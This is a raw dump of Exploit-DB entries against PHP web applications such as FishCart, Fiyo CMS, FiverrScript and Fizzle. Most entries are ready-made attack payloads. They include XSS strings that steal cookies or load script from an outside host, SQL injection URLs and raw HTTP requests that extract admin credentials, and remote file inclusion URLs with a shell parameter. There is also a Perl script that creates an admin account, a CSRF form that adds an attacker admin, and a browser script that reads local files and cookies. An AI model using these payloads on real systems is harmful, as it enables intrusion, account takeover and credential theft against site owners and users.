deardaniel/secdata-raw huggingface dataset:
Exploit-DB #32566
Description: firmCHANNEL Indoor & Outdoor Digital Signage 3.24 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-11-04
Author: Brad Antoniewicz

Exploit:
source: https://www.securityfocus.com/bid/32107/info

firmCHANNEL Indoor & Outdoor Digital SIGNAGE is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

firmCHANNEL Indoor & Outdoor Digital SIGNAGE 3.24 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?module=account&action=login%3Cscript%3Ealert(%27xss%27);%3C/script%3E
Exploit-DB #3983
Description: FirmWorX 0.1.2 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2007-05-24
Author: DeltahackingTEAM

Exploit:
**********************************************************************************************************
                                              DeltaSecurityTEAM
                                              WwW.DeltaSecurity.iR
**********************************************************************************************************

* Portal Name = FirmWorX 0.1.2

* Class = Remote File Inclusion

* Risk = High (Remote File Execution)

* Download = http://firmworx.sourceforge.net

* Discoverd By = DeltahackingTEAM

* User In Delta Team = Dav00d_Cracker

* Conatact = Davood_cracker@yahoo.com

--------------------------------------------------------------------------------------------

Vulnerability C0de :


require_once($fm_data['root']."/includes/config/db.inc.php");

--------------------------------------------------------------------------------------------

- Expl0it:

http://localhost/[PATH]/includes/config/master.inc.php?fm_data[root]=Shellz?
http://localhost/[PATH]/includes/functions/master.inc.php?fm_data[root]=Shellz?
http://localhost/[PATH]/modules/bank/includes/design/main.inc.php?bank_data[root]=Shellz?

--------------------------------------------------------------------------------------------

Gr33tz : Dr.Trojan , Hiv++ , D_7j , L0rd , RezaYavari , Vpc , And all I

**********************************************************************************************************

# milw0rm.com [2007-05-24]
Exploit-DB #17197
Description: First Escort Marketing CMS - Multiple SQL Injections Vulnerabilities
Type: webapps
Platform: php
Date: 2011-04-22
Author: NoNameMT

Exploit:
# PoC Title: First Escort Marketing CMS Multiple SQL Injection
Vunerabilities
# Platform: php
# Date: 18.04.2011
# Author: NoNameMT
# Software Link: http://www.first-escort-marketing.co.uk/agencies.html
# Price: 599 £
# Tested on: Windows 7
# Mail: nonamemt@gmail.com
# Homepage: http://nonamemt.us

# Proof of Concept:
http://site.com/escort_agency/banner.php?categoryID=-2'+union+select+1,version(),3,4,5,6,7--+
http://site.com/escort_agency/escort-profile.php?modelid=13'[Blind-SQL]
http://site.com/escort_agency/write_review.php?modelid=13'[SQL]
http://site.com/escort_agency/booking-form.php?modelid=13'[SQL]
http://site.com/escort_agency/gallery_escorts.php?gallery_id=13'[SQL]

# Greetings to:
Team-Internet, 4004-security-project.com, bursali, Easy Laster, Dr. Sp!c,
ezah, Xplo1t, enco
Exploit-DB #25601
Description: FishCart 3.1 - 'display.php?nlst' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-05-04
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13499/info

FishCart is prone to multiple cross-site scripting and SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input.

A successful exploit of the SQL-injection issues could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

An attacker may leverage the cross-site scripting issues to execute arbitrary script code in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/demo31/display.php?cartid=[PII_REDACTED]31092&zid=1&lid=1&nlst='"><script>alert(document.cookie)</script>&olimit=0&cat=&key1=&psku=
Exploit-DB #25603
Description: FishCart 3.1 - 'display.php?psku' SQL Injection
Type: webapps
Platform: php
Date: 2005-05-04
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13499/info
  
FishCart is prone to multiple cross-site scripting and SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input.
  
A successful exploit of the SQL-injection issues could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
  
An attacker may leverage the cross-site scripting issues to execute arbitrary script code in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/demo31/display.php?cartid=[PII_REDACTED]31092&zid=1&lid=1&nlst=y&olimit=0&cat=&key1=&psku='SQL_INJECTION
Exploit-DB #25604
Description: FishCart 3.1 - 'upstnt.php?cartid' SQL Injection
Type: webapps
Platform: php
Date: 2005-05-04
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13499/info
   
FishCart is prone to multiple cross-site scripting and SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input.
   
A successful exploit of the SQL-injection issues could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
   
An attacker may leverage the cross-site scripting issues to execute arbitrary script code in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/demo31/upstnt.php?zid=1&lid=1&cartid='SQL_INJECTION
Exploit-DB #25602
Description: FishCart 3.1 - 'upstracking.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-05-04
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13499/info
 
FishCart is prone to multiple cross-site scripting and SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input.
 
A successful exploit of the SQL-injection issues could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
 
An attacker may leverage the cross-site scripting issues to execute arbitrary script code in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/demo31/upstracking.php?trackingnum='"><script>alert(document.cookie)</script>&reqagree=checked&m=
http://www.example.com/demo31/upstracking.php?trackingnum=&reqagree='"><script>alert(document.cookie)</script>&m=
http://www.example.com/demo31/upstracking.php?trackingnum=&reqagree=checked&m='"><script>alert(document.cookie)</script>
Exploit-DB #4271
Description: FishCart 3.2 RC2 - 'fc_example.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-08-08
Author: k1n9k0ng

Exploit:
fishcart_v3 (fc_example.php) Remote File Include Vulnerability

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Scripts            : fishcart_v3
Discovered By : k1n9k0ng
Scripts site      :
http://fishcart.org/fc_installer_snap_2007_08_03.zip
http://fishcart.org/fishcart_snap_2007_08_03
http://fishcart.org/fishcart_snap_2007_08_03.tgz

Thanks To       : #sekuritionline, #semprol, #mimid, #r.i.p, #x-code, #yogyafree
special To       : adhietslank, babypunk, bugs_, cyberlog, cah_gemblunkz
site                 : www.sekuritionline.net
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

bug Script:
<?php require($docroot.'/FCDIRECTORY/fc_functions/fc_functions.php'); ?>

bug found:
"/fishcart_v3/fc_functions/fc_example.php?docroot=[shell]"

# milw0rm.com [2007-08-08]
Exploit-DB #3011
Description: Fishyshoop 0.930b - Remote Add Administrator Account
Type: webapps
Platform: php
Date: 2006-12-25
Author: James Gray

Exploit:
#!/usr/bin/perl
# James Gray <james6.0[@]gmail.com>
# Fishyshoop Security Vulnerability

use WWW::Curl::Easy;

sub usage() {
 print "$0 <Fishyshoop root URL> <Desired E-Mail> <Desired Password>\n";
 exit();
}

$FSURL=shift or usage(); $UNAME=shift or usage(); $PASS=shift or usage();

my $fishyshoop = new WWW::Curl::Easy;
$fishyshoop->setopt(CURLOPT_URL, "$FSURL?L=register.register");
$fishyshoop->setopt(CURLOPT_POST, 1);
$fishyshoop->setopt(CURLOPT_POSTFIELDS, "email=$UNAME&[CREDENTIAL_REDACTED]_admin=1&submit=1");
$fishyshoop->perform;

# milw0rm.com [2006-12-25]
Exploit-DB #28009
Description: Five Star Review Script - 'index2.php?sort' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-06-12
Author: Luny

Exploit:
source: https://www.securityfocus.com/bid/18390/info

Five Star Review Script is prone to multiple input-validation vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker can exploit these issues to run arbitrary HTML and script code in the browser of a victim in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, to control how the site is rendered to the user, and to launch other attacks.

http://www.example.com/index2.php?pg=2&item_id=11&sort=review.id&#039;>">&#039;><SCRIPT%20SRC=http://www.youfucktard.com/xss.js></SCRIPT><"<"<"<"&order=DESC&PHPSESSID=91c137efddf8844a26f5c57a8ca2d57d
Exploit-DB #28010
Description: Five Star Review Script - 'report.php?item_id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-06-12
Author: Luny

Exploit:
source: https://www.securityfocus.com/bid/18390/info
 
Five Star Review Script is prone to multiple input-validation vulnerabilities because the application fails to properly sanitize user-supplied input.
 
An attacker can exploit these issues to run arbitrary HTML and script code in the browser of a victim in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, to control how the site is rendered to the user, and to launch other attacks.

http://www.example.com/report.php?id=970&item_id=251&#039;>">&#039;><SCRIPT%20SRC=http://www.youfucktard.com/xss.js></SCRIPT><"<"<"<"
Exploit-DB #46637
Description: Fiverr Clone Script 1.2.2 - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-04-02
Author: Mr Winst0n

Exploit:
# Exploit Title: Fiverr Clone Script 1.2.2 - SQL Injection / Cross Site Scripting
# Exploit Author: Mr Winst0n
# Author E-mail: manamtabeshekan@gmail.com
# Discovery Date: Apr 1, 2019
# Vendor Homepage: https://www.phpscriptsmall.com
# Software Link : https://www.phpscriptsmall.com/product/fiverr-clone-script/
# Tested Version: 1.2.2
# Tested on: Kali linux, Windows 8.1 


# PoC:

# http://localhost/?page=[SQLi]
# http://localhost/search-results.php?category=[Category id]&subcategory=[Subcategory id]&keyword=[XSS]

# http://localhost/?page=2%20%27%20OR%201%20=%201%20--
# http://localhost/search-results.php?category=32&subcategory=63&keyword=<ScrIpt>alert(1)</sCrIpT>&project_search=#
Exploit-DB #37257
Description: FiverrScript - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2015-06-10
Author: Mahmoud Gamal

Exploit:
# Exploit Title: FiverrScript CSRF Vulnerability (add New admin)
# Author: Mahmoud Gamal (@Zombiehelp54)
# Google Dork: intext:Powered by FiverrScript
# Date: 10/06/2015
# Exploit Author: Scriptolution
# Vendor Homepage: http://scriptolution.com
# Software Link: http://fiverrscript.com
# Version: 7.2
# Tested on: Windows 

FiverrScript is vulnerable to CSRF attack (No CSRF token in place) meaning
that if an admin user can be tricked to visit a crafted URL created by
attacker (via spear phishing/social engineering), a form will be submitted
to (http://localhost/fiverrscript/administrator/admins_create.php) that
will add a new user as administrator.
Once exploited, the attacker can login to the admin panel (
http://localhost/fiverrscript/administrator/index.php)
using the username and the password he posted in the form.

CSRF PoC Code
=============

<form action="http://localhost/fiverrscript/administrator/admins_create.php"
method="post" id="main_form" name="main_form"
enctype="multipart/form-data"><input type="hidden" id="submitform"
name="submitform" value="1">
<input type="hidden" name="username" value="attackerUsername">
<input type="hidden" name="password" value="attackerPreferedPW" >
<input type="hidden" name="email" value="attackeremail@something.com">
</form>
<script>
document.forms[0].submit();
</script>

Reported to script owner.

Security Level:
================
High
Exploit-DB #37446
Description: Fiyo CMS 2.0_1.9.1 - SQL Injection
Type: webapps
Platform: php
Date: 2015-06-30
Author: cfreer

Exploit:
# Exploit Title: Fiyo CMS multiple SQL vulnerability
# Date: 2015-06-28
# Exploit Author: cfreer (poc-lab)
# Vendor Homepage:  http://www.fiyo.org/
# Software Link:
http://tcpdiag.dl.sourceforge.net/project/fiyo-cms/Fiyo%202.0/fiyo_cms_2.0.2.zip
# Version: 2.0_1.9.1
# Tested on: Apache/2.4.7 (Win32)
# CVE : CVE-2015-3934


1、

The vulnerable file is /apps/app_article/controller/rating.php, because the
rating.php includes jscore.php, so we must add referer in
HTTP Data Stream to bypass the limits of authority.when the 'do' equal
'rate' the vulnerable is same too.


require('../../../system/jscore.php');

if(!isset($_POST['id']))
header('../../../');
else {
$id = $_POST['id'];
 $db = new FQuery();
$db->connect();
$qrs = $db->select(FDBPrefix.'article','*',"id=$id");
$qrs = $qrs[0];


POC:

HTTP Data Stream

POST //fiyocms/apps/app_article/controller/rating.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101
Firefox/37.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost:80/fiyocms/
Cookie: ECS[visit_times]=4; iAv6_2132_saltkey=JLrHe7OQ;
PHPSESSID=nl1e3jdfd8i7flnhffp37ro2s3
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 48

do=getrate&id=182;select  sleep(5)  --



=====================================================================================================================================

2、

POC:

POST /fiyocms/user/login HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101
Firefox/37.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: ECS[visit_times]=4; iAv6_2132_saltkey=JLrHe7OQ;
PHPSESSID=4gl29hsns650jqj5toakt044h0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 71

user='%2B(select(0)from(select(sleep(5)))v)%2B'&pass=poc-lab&login=Login


The vulnerable file is \apps\app_user\sys_user.php

if(isset($_POST['login'])) {
$_POST['user'] = strip_tags($_POST['user']);
$qr = $db->select(FDBPrefix."user","*","status=1 AND user='$_POST[user]'
AND password='".MD5($_POST['pass'])."'");


The parameter of user is vulnerable. strip_tags doesn't work, Still can be
bypass.
Exploit-DB #29783
Description: Fizzle 0.5 - RSS Feed HTML Injection
Type: webapps
Platform: php
Date: 2007-03-26
Author: CrYpTiC MauleR

Exploit:
source: https://www.securityfocus.com/bid/23144/info

Fizzle is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

This issue affects version 0.5; other versions may also be affected.

- ------------------------------------------------------------------------- POC: Local File Reading and Cookie Reading (The HTML entities MUST be used) - ------------------------------------------------------------------------- <script> function read(readfile) { var file = Components.classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile); file.initWithPath(readfile); var is = Components.classes["@mozilla.org/network/file-input-stream;1"] .createInstance(Components.interfaces.nsIFileInputStream); is.init(file, 0x01, 00004, null); var sis = Components.classes["@mozilla.org/scriptableinputstream;1"] .createInstance(Components.interfaces.nsIScriptableInputStream); sis.init(is); var output = sis.read(sis.available()); alert(output); } read("C:\test.txt"); function getCookies() { var cookieManager = Components.classes["@mozilla.org/cookiemanager;1"] .getService(Components.interfaces.nsICookieManager); var str = ''; var iter = cookieManager.enumerator; while (iter.hasMoreElements()) { var cookie = iter.getNext(); if (cookie instanceof Components.interfaces.nsICookie) { str += "Host: " + cookie.host + "\nName: " + cookie.name + "\nValue: " + cookie.value + "\n\n"; } } alert(str); } getCookies() </script>
Exploit-DB #6133
Description: FizzMedia 1.51.2 - SQL Injection
Type: webapps
Platform: php
Date: 2008-07-25
Author: Mr.SQL

Exploit:
###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL injection Vulnerability
##
## FizzMedia 1.51.2 ( comment.php mid )
##                            
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM  &  WwW.AtsDp.CoM/f
##
## Email  : SQL@Hotmail.it
##
## SYRIAN Arab HACkErS
########################
########################
##
## -[[: Exploite :]]-
##
## www.Target.com/comment.php?mid=-1'+UNION+SELECT+0,0,0,Concat_Ws(0x3a3a,user,pass)MrSQL,0,0,0,0,0,0,0,0,0+FROM+admin/*
##
########################
########################
-[[ download ]]-
http://fizzmedia.negativekarma.net/fizzMedia_1.51.2.zip

#######################################################################################################
#######################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                         
 :: HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: milw0rm :: MuslimS HaCkErS ::
#######################################################################################################
#######################################################################################################

# milw0rm.com [2008-07-25]
Exploit-DB #8805
Description: Flash Image Gallery 1.1 - Arbitrary Configuration File Disclosure
Type: webapps
Platform: php
Date: 2009-05-26
Author: DarkbiteX

Exploit:
#########################################################################################
[0x01] Informations:

Script         : Flash Image Gallery 1.1 and maybe last version
Download       : http://www.flashimagegallery.com/download/fig_116_admin_110.zip
Vulnerability  : Sensitive Data Disclosure
Author         : DarkbiteX
Greets:        : |OverclockiX| , |0o_Zeuz_o0|, |Status-X|, |Fatal Inside|, |NaOnack|, |Good-Spide|, |All Moroccan Hackers|

########################################################################################
Bug:[Sensitive Data Disclosure]
########################################################################################

[!] EXPLOIT: /[path]/admin/config.xml
EXAMPLE: http://www.flashimagegallery.com/demo/gallery/admin/config.xml
                 and paste de user and pass http://www.flashimagegallery.com/demo/gallery/admin/
                
                 Use Of The Imagination and UPLOAD your archive ;) 
#########################################################################################

# milw0rm.com [2009-05-26]
Exploit-DB #42574
Description: Flash Poker 2.0 - 'game' SQL Injection
Type: webapps
Platform: php
Date: 2017-08-28
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Flash Multiplayer Poker PHP Script 2.0 - SQL Injection
# Dork: N/A
# Date: 28.08.2017
# Vendor Homepage: http://www.flashpoker.it/
# Software Link: https://www.codester.com/items/559/flash-poker-v2-multiplayer-poker-php-script
# Demo: http://www.flashpoker.it/index/
# Version: 2.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 	
# Proof of Concept:
# 
# http://localhost/[PATH]/index.php?act_value=pkr_www&sub_act_value=pkr_viewgamehistory&game=[SQL]
#
# 1+Or+0x31+gRoUp+bY+ConCAT_WS(0x3a,VeRsiON(),fLoOR(rAnD(0)*2))+hAvING+MIn(0)+OR+0x31
#
# Etc..
# # # # #